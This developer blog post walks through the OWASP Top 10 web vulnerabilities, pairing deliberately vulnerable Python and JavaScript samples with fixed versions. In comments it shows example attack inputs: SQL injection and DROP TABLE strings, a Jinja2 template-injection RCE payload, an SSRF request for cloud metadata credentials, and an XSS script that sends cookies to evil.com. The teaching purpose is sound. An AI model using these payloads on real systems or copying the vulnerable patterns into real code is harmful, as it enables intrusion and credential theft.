OWASP Top 10 in 2025: The Web Vulnerabilities That Still Get Companies Hacked
OWASP Top 10 in 2025: The Web Vulnerabilities That Still Get Companies Hacked

The OWASP Top 10 has been updated. The list changes slowly — not because new vulnerabilities replace old ones, but because some old vulnerabilities finally become less common while new attack patterns emerge. In 2025, broken access control is still the number one vulnerability. SQL injection is still top three. These vulnerabilities are 30 years old and they still get production systems compromised every week.
This is blog post 100. Rather than an advanced architectural deep-dive, this is a practical reference: what each vulnerability looks like in code, why it still works in 2025, and the concrete fix for each one.
OWASP Top 10 — 2025 Edition
graph TD
subgraph "OWASP Top 10 — 2025"
A1["#1 Broken Access Control"]
A2["#2 Cryptographic Failures"]
A3["#3 Injection"]
A4["#4 Insecure Design"]
A5["#5 Security Misconfiguration"]
A6["#6 Vulnerable and Outdated Components"]
A7["#7 Identification and Authentication Failures"]
A8["#8 Software and Data Integrity Failures"]
A9["#9 Security Logging and Monitoring Failures"]
A10["#10 Server-Side Request Forgery (SSRF)"]
end
style A1 fill:#ef4444,color:#fff
style A2 fill:#ef4444,color:#fff
style A3 fill:#ef4444,color:#fff
style A10 fill:#f59e0b,color:#fff
#1: Broken Access Control
The most common vulnerability category. An attacker accesses resources or performs actions they shouldn't be authorized for. The most frequent pattern: insecure direct object reference (IDOR) — using a predictable ID to access other users' data.
Vulnerable:
@app.route('/api/orders/<order_id>')
def get_order(order_id):
# NO AUTHORIZATION CHECK — any authenticated user can see any order
order = db.query("SELECT * FROM orders WHERE id = %s", order_id)
return jsonify(order)
An attacker logs in, gets their order ID (e.g., 1042), then iterates: 1041, 1040, 1039. They've just read every customer's order history.
Fixed:
@app.route('/api/orders/<order_id>')
@require_auth
def get_order(order_id):
# ALWAYS verify the requesting user owns this resource
order = db.query(
"SELECT * FROM orders WHERE id = %s AND user_id = %s",
order_id, current_user.id # ← Ownership check in the query
)
if not order:
abort(404) # Don't return 403 — reveals the resource exists
return jsonify(order)
For admin/elevated actions, check role explicitly:
@app.route('/api/admin/users/<user_id>', methods=['DELETE'])
@require_auth
def delete_user(user_id):
if current_user.role != 'admin':
abort(403)
# Proceed with deletion
The fix is always the same: every data access must verify the requesting user is authorized to access that specific resource.
#2: Cryptographic Failures
Sensitive data exposed due to weak encryption, missing encryption, or using encryption incorrectly. The most common manifestation: passwords stored with MD5 or SHA1 (not password hashing algorithms), or sensitive data transmitted without TLS.
Vulnerable:
import hashlib
# MD5/SHA1 are NOT password hashing algorithms — they're fast
# Fast = 10 billion guesses per second on a modern GPU
def store_password(password: str) -> str:
return hashlib.md5(password.encode()).hexdigest() # NEVER do this
def check_password(password: str, stored_hash: str) -> bool:
return hashlib.md5(password.encode()).hexdigest() == stored_hash
Fixed:
import bcrypt
# bcrypt is designed to be slow — ~100ms per check
# Work factor controls cost: 12 is current recommendation
def store_password(password: str) -> bytes:
return bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
def check_password(password: str, stored_hash: bytes) -> bool:
return bcrypt.checkpw(password.encode(), stored_hash)
# Uses constant-time comparison — prevents timing attacks
# In 2026: Argon2id is the OWASP recommendation (winner of Password Hashing Competition)
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2)
def store_password(password: str) -> str:
return ph.hash(password)
def check_password(password: str, stored_hash: str) -> bool:
try:
return ph.verify(stored_hash, password)
except:
return False
Encrypt sensitive fields at rest:
from cryptography.fernet import Fernet
# Key management: store in AWS Secrets Manager, not in code
key = os.environ['ENCRYPTION_KEY'].encode()
f = Fernet(key)
def encrypt_pii(data: str) -> str:
return f.encrypt(data.encode()).decode()
def decrypt_pii(encrypted: str) -> str:
return f.decrypt(encrypted.encode()).decode()
#3: Injection
SQL injection is still in the top three. It works because developers concatenate user input into queries. A single unparameterized query in a large codebase can compromise the entire database.
Vulnerable:
# SQL INJECTION: user input goes directly into the query string
def get_user(username: str):
query = f"SELECT * FROM users WHERE username = '{username}'"
return db.execute(query)
# Attacker sends: username = "admin' OR '1'='1"
# Resulting query: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# Returns ALL users
# Worse: username = "admin'; DROP TABLE users; --"
Fixed:
# PARAMETERIZED QUERIES: user input is never interpolated into SQL
def get_user(username: str):
return db.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # ← Passed as parameter, never concatenated
)
ORM parameterization:
# Django ORM — safe by default
User.objects.filter(username=username) # ← Parameterized automatically
# SQLAlchemy — safe with ORM
session.query(User).filter(User.username == username)
# SQLAlchemy raw SQL — still safe with text()
from sqlalchemy import text
session.execute(text("SELECT * FROM users WHERE username = :username"), {"username": username})
# UNSAFE with SQLAlchemy — don't do this
session.execute(f"SELECT * FROM users WHERE username = '{username}'") # ← INJECTION
Template injection (often overlooked):
# VULNERABLE: user controls template content
from jinja2 import Template
user_template = request.form['template']
Template(user_template).render() # RCE if user sends {{ ''.__class__.__mro__[1].__subclasses__() }}
# FIXED: use sandboxed environment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.from_string(user_template).render() # Restricted execution
#4: Insecure Design
Vulnerabilities baked into the application architecture. Race conditions in critical flows are the most common: a check-then-act sequence that's not atomic.
Vulnerable (race condition in balance check):
def withdraw(user_id: int, amount: float):
balance = db.query("SELECT balance FROM accounts WHERE user_id = %s", user_id)
if balance >= amount: # Check
time.sleep(0.001) # Simulates processing delay
db.execute( # Act — another request can run between check and act
"UPDATE accounts SET balance = balance - %s WHERE user_id = %s",
amount, user_id
)
return True
return False
Two simultaneous withdrawal requests of $100 against a $100 balance both pass the check before either update runs — resulting in -$100 balance.
Fixed:
def withdraw(user_id: int, amount: float) -> bool:
# Atomic check-and-update — no window for race condition
result = db.execute("""
UPDATE accounts
SET balance = balance - %s
WHERE user_id = %s AND balance >= %s
RETURNING balance
""", amount, user_id, amount)
return result.rowcount > 0 # Returns False if balance was insufficient
#5: Security Misconfiguration
The most preventable vulnerability: default credentials, debug endpoints exposed in production, verbose error messages revealing stack traces, unnecessary open ports.
# VULNERABLE: debug mode in production
app = Flask(__name__)
app.config['DEBUG'] = True # Reveals stack traces and allows interactive debugger
# FIXED:
app.config['DEBUG'] = os.environ.get('DEBUG', 'false').lower() == 'true'
# Production env: DEBUG=false (never set to true)
# VULNERABLE: default Django settings in production
DEBUG = True
ALLOWED_HOSTS = ['*']
SECRET_KEY = 'django-insecure-xxxxx' # Default from project creation
# FIXED:
DEBUG = False
ALLOWED_HOSTS = ['api.myapp.com']
SECRET_KEY = os.environ['DJANGO_SECRET_KEY'] # Generated, stored in secrets manager
Security headers that prevent entire vulnerability classes:
# Middleware to add security headers to every response
@app.after_request
def security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff' # Prevents MIME sniffing
response.headers['X-Frame-Options'] = 'DENY' # Prevents clickjacking
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self' 'nonce-{nonce}'; " # Blocks inline scripts
"style-src 'self'; "
"img-src 'self' data: https:; "
"frame-ancestors 'none'"
)
return response
#7: Identification and Authentication Failures
Broken authentication mechanisms: no rate limiting on login endpoints (allows brute force), missing MFA for sensitive operations, session tokens that don't expire, predictable session IDs.
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/api/auth/login', methods=['POST'])
@limiter.limit("5 per minute") # Brute force prevention
def login():
username = request.json['username']
password = request.json['password']
user = User.query.filter_by(username=username).first()
# CONSTANT-TIME comparison prevents timing attacks
# (checking against a known hash even when user doesn't exist)
dummy_hash = "$2b$12$placeholder_hash_for_timing_safety"
stored_hash = user.password_hash if user else dummy_hash
if not bcrypt.checkpw(password.encode(), stored_hash):
# Generic error — don't reveal whether username exists
return jsonify({"error": "Invalid credentials"}), 401
# Create session with secure token
session_token = secrets.token_urlsafe(32)
redis.setex(f"session:{session_token}", 3600, user.id) # 1-hour TTL
response = jsonify({"message": "Logged in"})
response.set_cookie(
'session',
session_token,
httponly=True, # Inaccessible to JavaScript — prevents XSS token theft
secure=True, # HTTPS only
samesite='Lax', # CSRF protection
max_age=3600,
)
return response
#6: Vulnerable and Outdated Components
The most mechanically preventable vulnerability: using libraries with known CVEs. Automated tooling catches this before deployment.
# Python: safety check (or pip-audit)
pip-audit --requirement requirements.txt --format json
# Node.js: npm audit
npm audit --audit-level=high
# Docker image scanning: trivy
trivy image --severity HIGH,CRITICAL myapp:latest
# GitHub Dependabot: automatic PRs for dependency updates
# .github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "pip"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
ignore:
# Major version bumps require manual review
- dependency-name: "*"
update-types: ["version-update:semver-major"]
The discipline: run dependency scanning on every PR. Block merges with critical CVEs. Review and merge Dependabot PRs weekly — the longer you wait, the larger the diff when you finally update.
#8: Software and Data Integrity Failures
Supply chain attacks: malicious code injected into a dependency, CI/CD pipeline, or update mechanism. The SolarWinds attack was this category — malicious update distributed through a legitimate software supply chain.
# Pin exact dependency versions in requirements.txt (not just ranges)
# VULNERABLE:
requests>=2.28.0 # Could install a future malicious version
# BETTER: exact pin
requests==2.31.0
# BEST: exact pin with hash verification
# pip install --require-hashes -r requirements.txt
requests==2.31.0 \
--hash=sha256:58cd2187423839b9e... \
--hash=sha256:a88a2b67...
For deployment artifacts, verify integrity at every step:
# GitHub Actions: verify artifact integrity
- name: Build Docker image
run: docker build -t myapp:${{ github.sha }} .
- name: Sign image with cosign
uses: sigstore/cosign-installer@main
run: |
cosign sign --key cosign.key myapp:${{ github.sha }}
# In your deployment pipeline:
- name: Verify image signature before deploy
run: cosign verify --key cosign.pub myapp:${{ github.sha }}
#9: Security Logging and Monitoring Failures
The vulnerability that makes every other vulnerability worse: you can't detect or respond to attacks if you're not logging the right events.
What to log:
import structlog
log = structlog.get_logger()
class SecurityAuditMiddleware:
"""Log security-relevant events in a structured, queryable format."""
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
request = Request(environ)
# Log all authentication events
if request.path in ('/api/auth/login', '/api/auth/logout', '/api/auth/refresh'):
log.info("auth_event",
event_type="authentication",
path=request.path,
method=request.method,
user_agent=request.headers.get('User-Agent', ''),
ip=request.remote_addr,
timestamp=datetime.utcnow().isoformat(),
)
response = self.app(environ, start_response)
# Log all 4xx/5xx responses (potential attacks or errors)
status_code = int(response.status.split()[0])
if status_code >= 400:
log.warning("http_error",
event_type="http_error",
status_code=status_code,
path=request.path,
ip=request.remote_addr,
# NEVER log request body — may contain passwords/tokens
)
return response
What not to log (sensitive data exposure via logs):
# NEVER log:
log.info("Login attempt", password=password) # NEVER passwords
log.info("API call", authorization=auth_header) # NEVER tokens/keys
log.info("User data", ssn=user.ssn, card=card_number) # NEVER PII/PCI data
log.info("Session created", token=session_token) # NEVER session tokens
Set up alerts on these log patterns in your SIEM or CloudWatch:
- 10+ failed logins per minute per IP → brute force alert
- 50+ 404s per minute from one IP → scanning alert
- First admin action after 90 days inactivity → potential account takeover
- API calls from new geographic region for existing user → anomaly alert
#10: Server-Side Request Forgery (SSRF)
Attacker tricks the server into making requests to internal services. Particularly dangerous in cloud environments where the metadata service (169.254.169.254) is accessible from any EC2 instance.
Vulnerable:
@app.route('/api/fetch-url')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # Attacker sends: url=http://169.254.169.254/latest/meta-data/
return response.content
# Returns AWS instance metadata including IAM credentials
Fixed:
import ipaddress
from urllib.parse import urlparse
ALLOWED_DOMAINS = {'api.trusted-partner.com', 'cdn.myapp.com'}
def is_safe_url(url: str) -> bool:
"""Validate URL before making any outbound request."""
try:
parsed = urlparse(url)
except Exception:
return False
# Only HTTPS
if parsed.scheme != 'https':
return False
# Allowlist of domains (prevent SSRF via domain)
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# Check if the hostname resolves to a private IP
import socket
try:
ip = socket.gethostbyname(parsed.hostname)
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False # Block 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.x.x.x
except Exception:
return False
return True
@app.route('/api/fetch-url')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
return jsonify({"error": "URL not allowed"}), 400
response = requests.get(url, timeout=5)
return response.content
Cross-Site Scripting (XSS) — Still Relevant in 2025
XSS dropped from the OWASP Top 10 as a separate category because modern frameworks (React, Vue, Angular) escape output by default. But it returns when developers bypass those protections:
// React: safe by default
function UserProfile({ name }) {
return <div>{name}</div>; // ← Escaped automatically — safe
}
// VULNERABLE: dangerouslySetInnerHTML bypasses escaping
function BadUserProfile({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />; // ← XSS if bio contains script tags
}
// FIXED: sanitize before rendering rich content
import DOMPurify from 'dompurify';
function SafeUserProfile({ bio }) {
const cleanBio = DOMPurify.sanitize(bio, { ALLOWED_TAGS: ['p', 'b', 'i', 'br'] });
return <div dangerouslySetInnerHTML={{ __html: cleanBio }} />;
}
In server-side rendering, the same principle:
# VULNERABLE: Jinja2 with autoescape disabled
env = Environment(autoescape=False)
template = env.from_string("<h1>Hello {{ name }}</h1>")
# Attacker sends name = "<script>fetch('https://evil.com/?c='+document.cookie)</script>"
# FIXED: autoescape enabled (default for HTML templates)
env = Environment(autoescape=True) # ← Default for .html/.xml files
template = env.from_string("<h1>Hello {{ name }}</h1>")
# {{ name }} is automatically HTML-escaped: <script> becomes <script>
Content Security Policy (added to security headers above) prevents XSS execution even when sanitization fails — the browser refuses to execute inline scripts that aren't covered by the nonce.
Cross-Cutting Defenses
Fixes for individual vulnerabilities are necessary but not sufficient. These cross-cutting controls reduce the impact when something slips through:
graph LR
A[Layered Security]
A --> B[Input validation\nat every boundary]
A --> C[Least privilege\nDB user = only needed permissions]
A --> D[Dependency scanning\nin CI/CD pipeline]
A --> E[Security headers\non every response]
A --> F[Structured logging\nof auth/access events]
A --> G[Secrets in\nsecrets manager\nnever in code]
style B fill:#22c55e,color:#fff
style C fill:#22c55e,color:#fff
style D fill:#22c55e,color:#fff
Automated dependency scanning catches #6 (Vulnerable Components):
# GitHub Actions: run on every PR
- name: Dependency Security Scan
run: |
pip install safety
safety check --output json > safety-report.json || true
# Fail on critical vulnerabilities
python -c "
import json
with open('safety-report.json') as f:
report = json.load(f)
critical = [v for v in report.get('vulnerabilities', []) if v.get('severity') == 'critical']
if critical:
print(f'CRITICAL vulnerabilities found: {len(critical)}')
for v in critical:
print(f' {v[\"package\"]}: {v[\"advisory\"]}')
exit(1)
"
Security Testing Tools Every Developer Should Know
Manual code review finds some vulnerabilities. Automated tools find the ones that slip through:
SAST (Static Application Security Testing) — analyzes code without running it:
# Bandit: Python security linter
pip install bandit
bandit -r ./src -l -ii # Only high-severity, high-confidence findings
# Semgrep: cross-language SAST with community rules
pip install semgrep
semgrep --config=p/owasp-top-ten . # OWASP Top 10 specific ruleset
# CodeQL: GitHub's deep semantic analysis (free for public repos)
# Configured via .github/workflows/codeql.yml
DAST (Dynamic Application Security Testing) — tests the running application:
# OWASP ZAP: automated scanning of running web applications
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://staging.myapp.com \
-r zap-report.html
Dependency scanning (already covered in #6, worth repeating):
# Run these in CI on every PR — not quarterly
pip-audit --requirement requirements.txt
npm audit --audit-level=high
trivy image --severity HIGH,CRITICAL $IMAGE
Add SAST to your PR pipeline. DAST against a staging deployment. Dependency scanning on every build. The three together catch the majority of OWASP Top 10 vulnerabilities before production.
Conclusion — Post 100
The OWASP Top 10 exists because these vulnerabilities are common, exploitable, and preventable. They're not exotic zero-days — they're well-understood failures with well-understood fixes.
What makes them persist:
- Development speed pressure skips security review
- ORMs and frameworks prevent most injection but can't prevent all authorization failures
- Security requirements aren't part of the definition of done
- Developers learn to build features but not to think adversarially
The pattern that works: treat security as a cross-cutting concern in the development process, not a phase. Security requirements are acceptance criteria. Authorization tests are test cases. Dependency scans are CI steps.
The most effective change most teams can make today: add bandit or semgrep to the CI pipeline and fix whatever it finds. Most findings from SAST tools on a fresh codebase are legitimate. Fixing them in batch is a one-time investment. Keeping the pipeline green thereafter is maintenance.
The second most effective change: add pip-audit or npm audit to CI with failure on critical CVEs. Dependabot creates the PRs. Reviewing and merging them weekly is 15 minutes of work that prevents incidents.
These aren't heroic security investments. They're hygiene. Most breaches in 2025 weren't zero-days — they were SQL injection, broken access control, and known CVEs in unpatched dependencies. The OWASP Top 10 persists because the basics still aren't universal.
A resource worth bookmarking: PortSwigger Web Security Academy (portswigger.net/web-security) — free, hands-on labs for every vulnerability in the Top 10. Each lab is a real exploitable application. Understanding vulnerabilities by exploiting them — safely, in a sandbox — builds intuition that code review alone doesn't. The best security engineers think like attackers; PortSwigger's labs are the fastest way to develop that mental model without putting production systems at risk. Automated scanning in CI catches dependencies. Code review checklists catch IDOR. Integration tests that verify authorization failures prevent regressions.
Security is not a property that gets added to a system — it's a property that systems have or don't have based on every architectural and implementation decision made along the way. The OWASP Top 10 is a checklist for the most common places those decisions go wrong. Using it as a review checklist on new features — "does this endpoint check ownership? Does this query use parameterized inputs?" — prevents the vast majority of web application vulnerabilities.
Thank you for 100 posts. The content will continue — there's no end to useful material for developers who want to build systems that are faster, more reliable, and harder to break.
Sources
- OWASP Top 10 2025: owasp.org/www-project-top-ten
- OWASP ASVS (Application Security Verification Standard)
- Troy Hunt: HaveIBeenPwned and web security blog
- PortSwigger Web Security Academy
- NIST: Password Hashing guidelines (SP 800-63B)
Enjoyed this post? Follow AmtocSoft for AI tutorials from beginner to professional.
☕ Buy Me a Coffee | 🔔 YouTube | 💼 LinkedIn | 🐦 X/Twitter
Comments
Post a Comment